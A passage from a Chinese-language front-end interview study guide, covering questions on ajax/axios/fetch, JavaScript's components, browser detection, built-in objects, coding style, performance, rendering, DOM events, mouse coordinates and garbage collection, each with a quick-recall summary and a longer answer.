  • axios是一个第三方库,可以用于浏览器和Node.js环境中发出HTTP请求,支持Promise API,提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等。

下面是它们的一些主要区别和特点:

  • 代码简洁性:fetch和axios相比,ajax的代码较为冗长,需要手动配置各项参数;fetch和axios使用更简洁,支持链式调用和配置对象参数。
  • 浏览器兼容性:fetch是基于原生的Fetch API,较新的API,不支持低版本的浏览器,需要进行兼容性处理;ajax和axios对各种浏览器有较好的兼容性。
  • 功能丰富性:axios提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等,而fetch较为简单,需要进行封装来实现这些功能。
  • 错误处理:axios和fetch支持Promise API,可以使用catch方法捕获错误;ajax需要通过error回调函数来处理错误。
  • 请求取消:axios和fetch支持请求的取消操作,可以提前终止请求;ajax没有原生的取消请求的方法。
  • 默认带cookie:axios和ajax默认会自动携带请求的cookie信息,而fetch默认不会携带,需要手动配置。
  • 请求进度监测:axios和ajax支持原生监测请求的进度,如上传和下载的进度;fetch没有原生的请求进度监测方法。

jQuery ajax

$.ajax({
  type: 'POST',
  url: url,
  data: data,
  dataType: dataType,
  success: function () {},
  error: function () {}
});

优缺点:

  • 本身是针对MVC的编程,不符合现在前端MVVM的浪潮
  • 基于原生的XHR开发,XHR本身的架构不清晰,已经有了fetch的替代方案
  • JQuery整个项目太大,单纯使用ajax却要引入整个JQuery非常的不合理(采取个性化打包的方案又不能享受CDN服务)

axios

axios({
  method: 'post',
  url: '/user/12345',
  data: {
      firstName: 'Fred',
      lastName: 'Flintstone'
  }
})
.then(function (response) {
  console.log(response);
})
.catch(function (error) {
  console.log(error);
});

优缺点:

  • 从浏览器中创建 XMLHttpRequest
  • 从 node.js 发出 http 请求
  • 支持 Promise API
  • 拦截请求和响应
  • 转换请求和响应数据
  • 取消请求
  • 自动转换JSON数据
  • 客户端支持防止CSRF/XSRF

fetch

try {
  let response = await fetch(url);
  let data = response.json();
  console.log(data);
} catch(e) {
  console.log("Oops, error", e);

}

优缺点:

  • fetcht只对网络请求报错,对400,500都当做成功的请求,需要封装去处理
  • fetch默认不会带cookie,需要添加配置项
  • fetch不支持abort,不支持超时控制,使用setTimeout及Promise.reject的实现的超时控制并不能阻止请求过程继续在后台运行,造成了量的浪费
  • fetch没有办法原生监测请求的进度,而XHR可以

# 96 JavaScript的组成

⚡ 30 秒速记

  • 三部分:ECMAScript(语言核心:语法、类型、语句、内置对象)、DOM(文档对象模型,操作页面)、BOM(浏览器对象模型:window、location、navigator、history、screen)
  • ECMAScript 由 TC39 制定,每年发布一版(ES2015 起按年号命名)
  • DOM 由 W3C/WHATWG 规范,分 Core DOM、HTML DOM、XML DOM
  • BOM 没有统一标准,各浏览器实现有差异(历史遗留)
  • 补一句现代视角:现在还有大量 Web API(fetch、Web Worker、IndexedDB、WebGL 等)由 WHATWG/W3C 定义,它们既不属于 ECMAScript 也不完全属于 DOM/BOM

JavaScript 通常由 ECMAScript、DOM 和 BOM 三部分组成。 ECMAScript 负责语言本身,包括语法、数据类型、函数、运算符和内置对象等核心能力。DOM 把 HTML 或 XML 文档表示成树,让代码能够增删改查页面节点;BOM 则提供 window、location、history 等浏览器交互接口。简单来说,前者解决怎么写程序,后两者解决怎么操作页面和浏览器。

JavaScript由三部分组成:

  1. ECMAScript(核心):ECMAScript是JavaScript的基础,定义了语言的语法、类型、语句、关键字等。它规定了JavaScript的基本语法、数据类型、函数、运算符、控制流等核心特性,并提供了对数组、对象、字符串、正则表达式等的操作方法和功能。ECMAScript的版本以ES6(ES2015)为基准,随着时间的推移,新版本的ECMAScript引入了更多的语言特性和功能。
  2. DOM(文档对象模型):DOM是一种表示和操作HTML、XML文档的接口。它定义了文档的结构、属性和方法,允许开发者通过JavaScript来访问和修改网页的内容、结构和样式。DOM将文档表示为一个树形结构,其中每个节点代表文档中的一个元素、属性、文本等。开发者可以使用DOM提供的API对这些节点进行增删改查操作,实现动态更新和交互效果。
  3. BOM(浏览器对象模型):BOM是一种提供了与浏览器窗口进行交互的接口。它提供了访问浏览器窗口、处理窗口尺寸、导航历史、处理Cookie、发送HTTP请求等功能。BOM中的对象包括window、navigator、location、history、screen等,开发者可以使用这些对象来控制浏览器的行为和获取相关信息。

这三部分共同构成了JavaScript的整体,使其成为一种强大的编程语言,能够在网页中实现丰富的交互和动态效果。

# 97 检测浏览器版本有哪些方式?

⚡ 30 秒速记

  • navigator.userAgent 字符串解析 —— 最常见但最不可靠(UA 可伪造,且 Chrome 正在推进 UA 缩减)
  • navigator.userAgentData(新标准,结构化数据,需要 HTTPS)
  • 特性检测:'IntersectionObserver' in window、CSS.supports('display', 'grid')
  • 结论:优先用特性检测而不是版本检测 —— 你真正关心的是"能不能用某个 API",不是"是不是某个版本"
  • 必须识别浏览器的场景(统计、已知 bug 的针对性 workaround)才用 UA,并且要接受它不精确
  • 工程上用 Browserslist 声明目标浏览器,让 Babel/Autoprefixer 自动处理,而不是运行时判断

可以解析 navigator.userAgent、检查特定的 window 成员,或者使用 Bowser、Platform.js 这类检测库。 userAgent 最常见,但它可能被伪造或篡改,因此结果不能当成绝对可靠的依据。检查某个对象或成员是否存在,更适合判断浏览器是否具备目标能力,例如通过 'ActiveXObject' in window 辅助识别 IE。工程中如果只是决定能否使用某项功能,我会优先做特性检测;只有确实需要浏览器名称和版本时,才结合多种方式判断。

检测浏览器版本可以使用以下几种方式:

  1. 使用navigator.userAgent:通过检查navigator.userAgent属性,可以获取包含了浏览器相关信息的用户代理字符串。可以根据用户代理字符串中的特定关键字或标识符来确定浏览器的类型和版本。例如,使用UA.toLowerCase().indexOf('chrome')可以检测是否为Chrome浏览器。
  2. 使用window对象的成员:根据浏览器的不同,window对象的成员可能会有所差异。可以通过检查特定的window对象成员是否存在来确定浏览器的类型和版本。例如,通过检查'ActiveXObject' in window可以判断是否为IE浏览器。
  3. 使用现成的JavaScript库或框架:有一些专门用于检测浏览器类型和版本的JavaScript库或框架,如Bowser、Platform.js等。这些库提供了简单易用的API,可以方便地获取浏览器信息。

需要注意的是,检测浏览器版本可能会受到用户代理字符串的伪造或篡改,因此并不是一种绝对可靠的方法。在实际应用中,最好结合多种方式进行浏览器版本的检测,以增加准确性和可靠性。

# 98 介绍JS有哪些内置对象

⚡ 30 秒速记

  • 与第 31 题重复,看那题的速记卡
  • 语言内置:Object、Function、Array、String、Number、Boolean、Symbol、BigInt、Math、Date、RegExp、JSON、Error 系列
  • 集合:Map、Set、WeakMap、WeakSet
  • 异步与元编程:Promise、Proxy、Reflect、Generator
  • 二进制:ArrayBuffer、TypedArray、DataView
  • 注意 window/document/console 属于宿主环境提供的对象,不是 ECMAScript 内置对象

JavaScript 内置对象可以按基础类型、功能工具、集合和异步元编程来理解。 基础类型常见的有 Object、Array、String 和 Number,功能工具则包括 Date、RegExp、Math 与 JSON。处理集合时会用到 Map、Set 及其弱引用版本,异步或对象拦截场景常用 Promise、Proxy 和 Reflect。需要注意,window、document 这类对象由浏览器宿主环境提供,不属于 ECMAScript 内置对象。

当提到JavaScript的内置对象时,以下是一些常见的和全面的内置对象的列表:

  1. 基本数据类型封装对象:
  • Object:用于创建对象的基类。
  • Array:用于创建和操作数组的对象。
  • Boolean:表示布尔值的对象,包括true和false。
  • Number:表示数字的对象,可以进行数值操作和转换。
  • String:表示字符串的对象,提供了字符串操作和处理的方法。
  • BigInt:表示任意精度整数的对象,用于处理超出Number范围的整数。
  1. 功能类对象:
  • Function:用于定义和调用函数的对象。
  • Date:用于处理日期和时间的对象。
  • RegExp:用于进行正则表达式匹配和操作的对象。
  • Error:表示错误的对象,用于抛出和处理异常。
  • Math:提供了各种数学运算的方法和常量。
  1. 集合类对象:
  • Set:表示一组唯一值的集合。
  • Map:提供了键值对的数据结构,可以使用任何数据类型作为键。
  • WeakSet:类似于Set,但只能存储对象引用,并且不会阻止垃圾回收。
  • WeakMap:类似于Map,但只能使用对象作为键,并且不会阻止垃圾回收。
  1. 其他对象:
  • Symbol:表示唯一标识符的数据类型,用于创建对象的属性键。
  • Promise:用于处理异步操作的对象,提供了更好的处理异步任务的方式。
  • Proxy:用于创建对象的代理,可以拦截并自定义对象的操作。
  • Reflect:提供了一组静态方法,用于操作对象的属性和方法。
  • JSON:用于解析和序列化JSON数据的对象。

这只是一些常见的内置对象,JavaScript还有许多其他内置对象和全局函数,用于处理各种类型的数据和操作。根据不同的需求和场景,可以选择适合的内置对象来使用。

# 99 说几条写JavaScript的基本规范

⚡ 30 秒速记

  • 与第 32 题重复,看那题的速记卡
  • const 优先、===、单一职责、不污染全局、统一 async/await
  • 格式交给 Prettier,规则交给 ESLint,提交时用 husky + lint-staged 强制执行
  • 补两条实际的:错误一定要处理(不要空 catch)、异步函数的 reject 一定要有兜底
  • 命名比注释重要 —— 好名字能省掉大部分注释

写 JavaScript 最重要的是保持风格一致、命名清楚,并避免制造隐式全局变量。 缩进、花括号、分号和单双引号采用哪种方案都可以,但团队内必须统一,否则会增加阅读和维护成本。变量与函数应先声明再使用,普通标识符采用驼峰命名,构造函数首字母大写,常量通常使用全大写。代码应尽量通过模块和局部作用域组织,注释重点解释用途或关键思路,而不是重复代码本身。

以下是一些常见的JavaScript编码规范:

  1. 使用一致的缩进:推荐使用四个空格进行缩进,而不是制表符。
  2. 使用一致的代码风格:在代码中使用一致的花括号(大括号)风格,可以是"K&R"风格(花括号放在行尾)或"Allman"风格(花括号独占一行)。
  3. 使用分号结束语句:在每条语句的末尾使用分号结束,这有助于避免意外的错误。
  4. 声明变量和函数:在使用之前,先声明变量和函数,避免隐式的全局变量。
  5. 命名约定:使用有意义且符合约定的变量和函数命名,采用驼峰命名法,首字母小写,构造函数使用大写字母开头,常量全大写。
  6. 使用严格模式:在脚本或函数的开头使用严格模式('use strict'),可以帮助捕获潜在的错误并使代码更加安全。
  7. 编写清晰的注释:使用注释来解释代码的用途、思路或重要细节,有助于他人理解代码。
  8. 格式化对象和数组:使用花括号{}来声明对象,使用方括号[]来声明数组,并且按照一定的格式排列其中的元素,提高可读性。
  9. 使用单引号或双引号:可以选择使用单引号或双引号来表示字符串,但要保持一致性。
  10. 避免使用全局变量:尽量避免使用全局变量,使用模块化的方式组织代码,减少命名冲突和意外的副作用。

这些规范有助于提高代码的可读性、可维护性和一致性,使团队协作更加顺畅,并降低代码出错的风险。在编写JavaScript代码时,遵循一致的编码规范是一个良好的实践。

# 100 如何编写高性能的JavaScript

⚡ 30 秒速记

  • 减少 DOM 操作:批量修改用 DocumentFragment,读写分离避免强制同步布局
  • 避免长任务:超过 50ms 的任务会阻塞交互(影响 INP),用时间切片或 Worker 拆开
  • 事件优化:委托代替逐个绑定、滚动和 resize 用节流、touch/wheel 监听加 passive:true
  • 数据结构选对:频繁查找用 Map/Set 而不是数组 indexOf
  • 减少闭包和全局变量的长期持有,避免内存泄漏
  • 循环优化:缓存 length、避免在循环里创建函数
  • 加载优化:代码分割 + 懒加载,减少主线程解析和执行的 JS 总量(这是最有效的一条)
  • 用数据说话:Performance 面板抓火焰图定位瓶颈,别凭感觉优化

高性能 JavaScript 的核心是减少加载、计算和页面渲染过程中的重复工作。 加载阶段可以压缩打包脚本,并通过 async 或 defer 避免阻塞页面解析;执行阶段则应缓存重复计算结果和 DOM 查询。页面交互中要批量修改 DOM,滚动等高频事件可用节流或防抖,多子元素监听适合使用事件委托,从而减少回流、重绘和监听器数量。优化前我一般会先用浏览器性能工具定位瓶颈,避免为了局部速度牺牲代码的可读性和可维护性。

以下是一些编写高性能JavaScript的技巧:

  1. 使用严格模式:在JavaScript代码中使用严格模式,可以帮助检测潜在的错误,并提高代码性能。
  2. 将脚本放在底部:将JavaScript脚本放在HTML页面的底部,这样可以避免阻塞页面的渲染,提高页面加载速度。
  3. 打包和压缩代码:将JavaScript脚本进行打包和压缩,减少网络请求和文件大小,提高加载速度。
  4. 非阻塞下载:使用异步加载的方式下载JavaScript脚本,通过将脚本放在<script>标签的async或defer属性中,避免阻塞页面的渲染。
  5. 减少全局变量的使用:尽量避免过多使用全局变量,使用局部变量来保存数据,减少作用域链的查找时间。
  6. 优化循环和迭代:在循环和迭代过程中,尽量减少重复的计算和操作,将需要重复使用的值存储在局部变量中,避免重复访问对象成员。
  7. 缓存DOM访问:在访问DOM节点时,尽量将访问结果缓存起来,避免重复查询DOM树,提高代码执行效率。
  8. 避免使用eval()和Function()构造器:这些方法会动态编译和执行代码,对性能有一定的影响,尽量避免使用它们。
  9. 使用直接量创建对象和数组:在创建对象和数组时,尽量使用直接量的方式,避免使用构造函数,这样可以减少额外的函数调用和内存分配。
  10. 最小化重绘和回流:重绘(repaint)和回流(reflow)是页面渲染的过程,它们会消耗大量的计算资源,尽量避免频繁的重绘和回流,可以通过合并操作、使用CSS动画等方式来优化。 当涉及到编写高性能的JavaScript代码时,还有一些其他的技巧可以考虑:
  11. 减少对象成员嵌套:在访问对象的成员时,尽量减少多层嵌套,这样可以提高访问速度。例如,将obj1.obj2.prop改为obj1Prop。
  12. 避免频繁的字符串操作:字符串操作比较耗费性能,尤其是在循环中频繁拼接字符串。可以使用数组或模板字符串来优化字符串操作。
  13. 使用事件委托:对于需要监听多个子元素事件的情况,可以将事件监听器添加到它们的父元素上,通过事件冒泡机制来处理事件。这样可以减少事件监听器的数量,提高性能。
  14. 避免频繁的重绘:如果需要对DOM进行多次修改,最好将这些修改操作放在一起,而不是分散在多个地方,这样可以减少重绘次数。
  15. 使用局部作用域:将代码封装在函数或模块中,利用局部作用域来限制变量的作用范围,避免命名冲突和全局变量污染。
  16. 使用合适的数据结构和算法:在处理大量数据或复杂逻辑时,选择合适的数据结构和算法可以提高代码的效率。了解不同数据结构和算法的特点,选择最佳的方案。
  17. 节流和防抖:对于一些频繁触发的事件(如滚动、调整窗口大小等),可以使用节流和防抖的技术来限制事件的触发频率,减少不必要的计算和操作。
  18. 使用性能分析工具:利用浏览器提供的性能分析工具(如Chrome的开发者工具)来检测和分析代码的性能瓶颈,找到需要优化的地方。
  19. 避免使用过时的方法和特性:某些方法和特性可能已经过时或存在性能问题,尽量避免使用它们,使用最新的标准和API来编写代码。
  20. 定期进行代码优化和重构:不断优化和重构代码,去除冗余和低效的部分,使代码保持简洁、高效和易于维护。

综合使用这些技巧,可以显著提高JavaScript代码的性能和执行效率。但需要注意的是,优化代码时应该根据具体情况进行评估和测试,避免过度优化导致代码可读性和可维护性的降低。

# 101 描述浏览器的渲染过程,DOM树和渲染树的区别

⚡ 30 秒速记

  • 流程:HTML → DOM 树;CSS → CSSOM 树;两者合并成渲染树(Render Tree)→ 布局 Layout(算位置尺寸)→ 分层 → 绘制 Paint → 栅格化 → 合成 Composite
  • DOM 树包含所有节点(包括 display:none 的、head 里的)
  • 渲染树只包含可见节点:display:none 的元素不在渲染树里,visibility:hidden 的在(因为它占位)
  • 阻塞关系:CSS 阻塞渲染(要等 CSSOM 才能构建渲染树),同步 JS 阻塞 DOM 解析(因为 JS 可能改 DOM)
  • 这也是"CSS 放 head、JS 放 body 底部或加 defer"的根本原因
  • 加分点:能说到合成层和 GPU 光栅化,以及为什么 transform/opacity 动画不触发前面几步

浏览器会把 HTML 解析成 DOM 树,把 CSS 解析成 CSSOM 树,再合并生成渲染树,经过布局和绘制显示页面。 DOM 树描述文档的完整结构,包括标签、文本和注释;渲染树面向实际显示,只保留需要参与渲染的节点及其样式信息。布局阶段负责计算节点的位置和大小,绘制阶段再根据这些结果呈现外观,所以频繁修改布局相关属性可能触发回流或重绘。比如 head 中的节点和设置为 display: none 的元素仍可存在于 DOM 树中,但不会进入渲染树。

浏览器的渲染过程:

  1. 解析 HTML 构建 DOM(文档对象模型)树:浏览器将接收到的 HTML 文档解析成一个树状结构,该结构被称为 DOM 树。DOM 树表示了 HTML 文档的结构和内容。
  2. 解析 CSS 构建 CSSOM(CSS 对象模型)树:浏览器将接收到的 CSS 文件解析成一个树状结构,该结构被称为 CSSOM 树。CSSOM 树表示了 CSS 样式规则的层级和规则。
  3. 合并 DOM 树和 CSSOM 树生成渲染树(Render Tree):浏览器将 DOM 树和 CSSOM 树合并,生成一个渲染树(Render Tree)。渲染树只包含需要显示在页面上的节点,隐藏的节点(如 head)和不可见的节点(如 display: none)不包含在渲染树中。
  4. 布局(Layout):渲染树中的每个节点都有对应的布局信息,浏览器根据这些布局信息计算节点在屏幕中的位置和大小,这个过程称为布局或回流(reflow)。
  5. 绘制(Painting):浏览器根据渲染树的布局信息和样式信息,将节点绘制到屏幕上,这个过程称为绘制或重绘(repaint)。

DOM 树和渲染树的区别:

  • DOM 树(文档对象模型树)是由 HTML 文档解析而来,它反映了文档的结构和内容,包括 HTML 标签、文本节点和注释等。DOM 树中的每个节点都有其对应的 CSS 样式规则。
  • 渲染树(Render Tree)是由 DOM 树和 CSSOM 树合并而成,它是用于显示在浏览器中的树状结构。渲染树只包含需要显示在页面上的节点,不包含隐藏的节点和不可见的节点。渲染树中的每个节点都有其对应的布局信息和样式信息,用于计算节点在屏幕中的位置和大小,并将节点绘制到屏幕上。

总结:DOM 树表示了 HTML 文档的结构和内容,而渲染树是为了将文档在浏览器中显示而构建的树结构。渲染树只包含需要显示的节点,并且每个节点都有对应的布局和样式信息,用于计算和绘制节点在屏幕上的位置和外观。

# 102 script 的位置是否会影响首屏显示时间

⚡ 30 秒速记

  • 会。同步 script 会阻塞 HTML 解析:浏览器解析到它就停下来下载并执行,之后才继续构建 DOM
  • 放 head 里的同步脚本会明显推迟首屏;放 body 底部则 DOM 已基本构建完,首屏更快
  • 更好的做法是放 head + defer:并行下载不阻塞解析,HTML 解析完后按顺序执行 —— 比放底部更早开始下载
  • 独立的第三方脚本用 async
  • 补充:CSS 虽然不阻塞 DOM 解析,但阻塞渲染,而且会阻塞它后面的 JS 执行(因为 JS 可能读样式)
  • 现代衡量标准:看 LCP 和 FCP,用 Lighthouse 的 "Eliminate render-blocking resources" 建议

script 的位置会影响首屏显示时间,尤其是未加异步或延迟属性的脚本。 浏览器遇到普通 script 时,会暂停解析 HTML,等脚本下载并执行完成后再继续,因此放在 <head> 中更容易推迟页面呈现。放到 <body> 底部,可以让主要内容先完成解析和显示。我一般还会根据依赖关系使用 defer 或 async,减少脚本对解析和渲染的阻塞。

  • script 的位置对首屏显示时间有影响。虽然浏览器在解析 HTML 生成 DOM 过程中,js 文件的下载是并行的,不需要 DOM 处理到 script 节点,但是脚本的执行会阻塞页面的解析和渲染。
  • 当浏览器遇到 script 标签时,会暂停解析 HTML,开始下载并执行脚本。只有脚本执行完毕后,浏览器才会继续解析和渲染页面。
  • 如果 script 标签放在 <head> 标签中,那么脚本的下载和执行会先于页面的渲染,这样会延迟首屏显示的开始时间。
  • 为了提高首屏显示时间,一般建议将 script 标签放在 <body> 标签底部,在大部分内容都已经显示出来后再加载和执行脚本,这样可以让页面尽快呈现给用户,提升用户体验。
  • 另外,可以使用异步加载的方式(如将 script 标签添加 async 属性)或延迟加载的方式(如将 script 标签添加 defer 属性),来减少脚本对页面加载的阻塞影响。这样可以在不阻塞页面渲染的情况下加载和执行脚本,加快首屏显示的完成时间。

# 103 介绍 DOM 的发展

⚡ 30 秒速记

  • DOM 0:非标准,浏览器各自实现,如 document.forms、element.onclick
  • DOM 1:W3C 第一个标准,定义 Core(文档结构)和 HTML(HTML 专用接口)
  • DOM 2:加入事件模型(addEventListener、捕获冒泡)、样式操作(getComputedStyle)、遍历与范围
  • DOM 3:加入 XPath、键盘事件、文档加载与保存
  • DOM 4 之后:W3C 停止版本号制,改由 WHATWG 维护 DOM Living Standard,持续演进
  • 现代新增的实用 API:querySelector(All)、classList、dataset、closest、append/prepend/remove、Shadow DOM、自定义元素

DOM 的发展,本质上是从浏览器各自实现的接口,逐步演变成统一且能力更完整的文档操作标准。 DOM Level 0 没有形成正式标准,到了 DOM Level 1,W3C 才规范了对文档结构的访问和操作。DOM Level 2 重点补充事件和 CSS 支持,DOM Level 3 又加入 XPath 以及文档加载、保存能力。后续标准继续扩展,例如用 MutationObserver 监听节点变化,或通过 Shadow DOM 隔离子树。

  • DOM:文档对象模型(Document Object Model),定义了访问HTML和XML文档的标准,与编程语言及平台无关
  • DOM Level 0:提供了查询和操作Web文档的内容API。未形成标准,实现混乱。如:document.forms['login']
  • DOM Level 1:W3C提出标准化的DOM,简化了对文档中任意部分的访问和操作。如:JavaScript中的Document对象
  • DOM Level 2:原来DOM基础上扩充了鼠标事件等细分模块,增加了对CSS的支持。如:getComputedStyle(elem, pseudo)
  • DOM Level 3:增加了XPath模块和加载与保存(Load and Save)模块。如:XPathEvaluator
  • DOM Level 4:继续扩展了 DOM 标准,引入了一些新的接口和功能,如 MutationObserver 用于监听 DOM 变动、Shadow DOM 用于创建独立的 DOM 子树等

# 104 介绍DOM0,DOM2,DOM3事件处理方式区别

⚡ 30 秒速记

  • DOM 0:element.onclick = fn。简单但同一元素同一事件只能绑一个,后绑的覆盖先绑的;解绑用 onclick = null
  • DOM 2:addEventListener(type, fn, useCapture)。可以绑多个、支持捕获和冒泡两个阶段、解绑用 removeEventListener(必须传同一个函数引用)
  • DOM 3:在 DOM 2 基础上扩充事件类型(键盘事件、文本事件、复合事件),并支持自定义事件 CustomEvent
  • 现代要补的是第三参数的对象形式:{ capture, once, passive, signal }
  • passive: true 告诉浏览器你不会 preventDefault,滚动可以立即执行 —— 移动端性能提升明显
  • signal 配 AbortController 可以一次性解绑一批监听器,比逐个 removeEventListener 方便得多

DOM0、DOM2 和 DOM3 的主要区别,在于事件绑定能力以及可处理的事件类型不同。 DOM0 直接给 onclick 等属性赋函数,同类事件只能保留一个处理器,后赋值会覆盖前一个,解绑时设为 null。DOM2 使用 addEventListener 和 removeEventListener,既能绑定多个函数,也能通过 useCapture 选择捕获或冒泡阶段。DOM3 延续这套机制,并扩展了文本输入等事件类型及自定义事件处理能力。

  • DOM0级事件处理方式:通过直接给事件属性赋值的方式进行事件处理,例如 element.onclick = func;。这种方式只能为同一个事件属性赋一个处理函数,且无法进行事件捕获阶段的处理。取消事件处理需要将事件属性赋值为null
    • btn.onclick = func;
    • btn.onclick = null;
  • DOM2级事件处理方式:引入了 addEventListener 和 removeEventListener 方法来注册和移除事件处理函数。通过使用该方式,可以为同一个事件属性添加多个处理函数,且可以在事件的捕获阶段或冒泡阶段进行处理。使用addEventListener 注册事件处理函数,使用 removeEventListener 移除事件处理函数
    • btn.addEventListener('click', func, false);
    • btn.removeEventListener('click', func, false);
    • btn.attachEvent("onclick", func);
    • btn.detachEvent("onclick", func);
  • DOM3级事件处理方式:引入了新的事件类型和接口,提供更多的事件处理选项。可以使用自定义的事件类型,并通过 eventUtil 等自定义的工具对象来添加和移除事件处理函数。DOM3级事件处理方式还引入了事件的命名空间概念,允许对特定命名空间的事件进行处理
    • eventUtil.addListener(input, "textInput", func);
    • eventUtil 是自定义对象,textInput 是DOM3级事件

在事件处理过程中,事件会经历捕获阶段、目标阶段和冒泡阶段。捕获阶段从文档根节点开始,向下传递到触发事件的目标元素,然后进入目标阶段,最后冒泡阶段从目标元素向上冒泡到文档根节点。DOM2和DOM3级事件处理方式都支持捕获和冒泡阶段的处理,可以通过第三个参数 useCapture 来控制事件是在捕获阶段还是冒泡阶段触发。

需要注意的是,DOM2和DOM3级事件处理方式的兼容性较好,而DOM0级事件处理方式在现代的开发中很少使用,推荐使用DOM2级或DOM3级事件处理方式。

# 105 区分什么是“客户区坐标”、“页面坐标”、“屏幕坐标”

⚡ 30 秒速记

  • 客户区坐标 clientX/clientY:相对视口左上角,不含滚动距离
  • 页面坐标 pageX/pageY:相对整个文档左上角,包含滚动距离(pageX = clientX + scrollX)
  • 屏幕坐标 screenX/screenY:相对物理屏幕左上角,含浏览器窗口本身的位置
  • 还有 offsetX/offsetY:相对事件目标元素的内边距边缘
  • 常用场景:做拖拽用 clientX 配 getBoundingClientRect;做绝对定位的浮层用 pageX;多屏识别用 screenX
  • getBoundingClientRect() 返回的也是相对视口的坐标,和 clientX 同一坐标系,配合使用最方便

客户区、页面和屏幕坐标的区别,关键在于它们采用的坐标原点不同。 clientX、clientY 相对浏览器可视区左上角,页面滚动后数值不会包含滚动距离;pageX、pageY 相对整个页面左上角,会把滚动距离计算进去。screenX、screenY 则相对设备物理屏幕左上角,适合描述指针在屏幕中的位置。获取元素位置时,offsetLeft、offsetTop 相对定位父级,而 getBoundingClientRect() 返回相对可视区的边框信息。

  • 客户区坐标:鼠标指针在可视区中的水平坐标(clientX)和垂直坐标(clientY)
  • 页面坐标:鼠标指针在页面布局中的水平坐标(pageX)和垂直坐标(pageY)
  • 屏幕坐标:设备物理屏幕的水平坐标(screenX)和垂直坐标(screenY)
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      height: 2000px;
    }
    #box {
      width: 200px;
      height: 200px;
      background-color: red;
      position: absolute;
      left: 100px;
      top: 100px;
    }
  </style>
</head>
<body>
  <div id="box"></div>

  <script>
    document.addEventListener('mousemove', function(event) {
      console.log('客户区坐标:', event.clientX, event.clientY);
      console.log('页面坐标:', event.pageX, event.pageY);
      console.log('屏幕坐标:', event.screenX, event.screenY);
    });
  </script>
</body>
</html>

如何获得一个DOM元素的绝对位置?

  • elem.offsetLeft:返回元素相对于其定位父级左侧的距离
  • elem.offsetTop:返回元素相对于其定位父级顶部的距离
  • elem.getBoundingClientRect():返回一个DOMRect对象,包含一组描述边框的只读属性,单位像素
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      padding: 0;
    }
    #container {
      width: 500px;
      height: 500px;
      position: relative;
      border: 1px solid black;
    }
    #box {
      width: 100px;
      height: 100px;
      background-color: red;
      position: absolute;
      left: 200px;
      top: 200px;
    }
  </style>
</head>
<body>
  <div id="container">
    <div id="box"></div>
  </div>

  <script>
    var box = document.getElementById('box');

    var offsetLeft = box.offsetLeft;
    var offsetTop = box.offsetTop;
    console.log('offsetLeft:', offsetLeft);
    console.log('offsetTop:', offsetTop);

    var rect = box.getBoundingClientRect();
    console.log('rect:', rect);
    console.log('left:', rect.left);
    console.log('top:', rect.top);
  </script>
</body>
</html>

# 106 Javascript垃圾回收方法

⚡ 30 秒速记

  • 引用计数(老方法):记录每个对象被引用的次数,归零就回收。致命缺陷是循环引用永远归不了零 —— 现代引擎已不用
  • 标记-清除(主流):从 GC Roots(全局对象、调用栈)出发遍历,能到达的标记为活跃,其余清除。天然解决循环引用
  • V8 的分代回收:新生代用 Scavenge(复制算法,空间换时间,适合大量朝生夕死的对象);老生代用标记-清除 + 标记-整理(解决内存碎片)
  • 增量标记和并发标记:把 GC 拆成小步或放到后台线程,减少 STW(Stop The World)造成的卡顿
  • 前端实践含义:GC 是自动的,你能做的是别制造不可回收的引用 —— 清理定时器和监听器、用 WeakMap 存关联数据

现代 JavaScript 引擎主要使用标记清除法,老旧引擎还可能采用引用计数法。 标记清除会从根对象递归遍历引用,可达对象保留,其余对象回收,所以能处理已经与外部断开的循环引用。引用计数则在计数归零时回收对象,但对象互相引用时计数无法归零,容易造成内存泄漏。实际引擎还会结合分代回收、增量标记等优化,具体实现比这两种基础模型更复杂。

正常情况下,现代的 JavaScript 引擎会使用标记清除(mark and sweep)算法作为主要的垃圾回收方法。引用计数(reference counting)在某些老旧的 JavaScript 引擎中可能会被使用。

标记清除(mark and sweep)是 JavaScript 中最常见的垃圾回收算法,其工作原理如下:

  1. 垃圾回收器会在运行时给存储在内存中的所有变量加上标记。
  2. 垃圾回收器会从根对象开始,递归遍历所有的引用,标记它们为“进入环境”。
  3. 在遍历完成后,垃圾回收器会对未被标记的变量进行清除,即将其回收内存空间。
  4. 被清除的内存空间将被重新分配给后续的变量使用。
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };

  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;

  // x 和 y 不再被使用,将被标记为垃圾
  x = null;
  y = null;

  // 垃圾回收器在适当的时机会清理循环引用的对象
}

// 调用函数触发垃圾回收
foo();

引用计数(reference counting)是一种简单的垃圾回收算法,其工作原理如下:

  1. 对于每个对象,引擎会维护一个引用计数器,用于记录当前有多少个引用指向该对象。
  2. 当一个引用指向对象时,引用计数器加一;当一个引用不再指向对象时,引用计数器减一。
  3. 当引用计数器为零时,说明该对象没有被引用,可以将其回收内存空间。
  4. 引用计数算法容易出现循环引用的问题,即两个或多个对象互相引用,但没有被其他对象引用,导致引用计数器无法归零,造成内存泄漏。

值得注意的是,现代的 JavaScript 引擎往往会采用更高级的垃圾回收算法,如基于分代的垃圾回收和增量标记等,以提高垃圾回收的效率和性能。以上所述的标记清除和引用计数仅是简单的介绍,实际的垃圾回收算法比较复杂,并涉及到更多的优化和细节。

// 引用计数无法处理循环引用问题,这里只作演示
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };

  // x 和 y 引用计数均为 1
  var refCountX = 1;
  var refCountY = 1;

  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;

  // x 和 y 不再被使用,引用计数减一
  refCountX--;
  refCountY--;

  // 当引用计数为零时,垃圾回收器可以清理对象
  if (refCountX === 0) {
    // 清理 x 对象的内存
    x = null;
  }

  if (refCountY === 0) {
    // 清理 y 对象的内存
    y = null;
  }
}

// 调用函数触发垃圾回收
foo();

请注意,上述示例中的引用计数示例仅为演示目的,并未解决循环引用导致的内存泄漏问题。在实际开发中,为了避免内存泄漏,需要使用更高级的垃圾回收算法和技术,或者手动解除循环引用。

# 107 请解释一下 JavaScript 的同源策略

⚡ 30 秒速记

  • 与第 19 题同考点
  • 同源 = 协议 + 域名 + 端口三者完全相同
  • 限制的是:读取跨源响应内容、访问跨源窗口的 DOM、读取跨源的 Cookie/LocalStorage
